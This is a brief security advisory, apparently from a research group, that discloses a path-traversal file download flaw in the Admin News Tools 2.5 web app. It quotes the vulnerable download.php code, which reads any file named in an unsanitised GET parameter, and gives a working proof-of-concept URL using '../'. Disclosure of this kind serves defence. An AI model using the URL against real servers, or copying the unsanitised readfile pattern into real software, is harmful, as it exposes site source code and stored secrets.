######################### Securitylab.ir ########################

Application Info:

Name: Admin News Tools

Version: 2.5

Website: http://www.adminnewstools.fr.nf

Download: http://www.adminnewstools.fr.nf/zip/ANT-2.5.zip

#################################################################

Discoverd By: Securitylab.ir

Website: http://securitylab.ir

Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir

#################################################################

Vulnerability Info:

Type: Remote File Download Vulnerability

Risk: Medium

#===========================================================

Download.php

header('Content-Disposition: attachment; filename=' . basename ($_GET['fichier']));

readfile($_GET['fichier']);

}

http://www.site.com/news/system/download.php?fichier=./../up.php

#===========================================================
#################################################################

Securitylab Security Research Team

###################################################################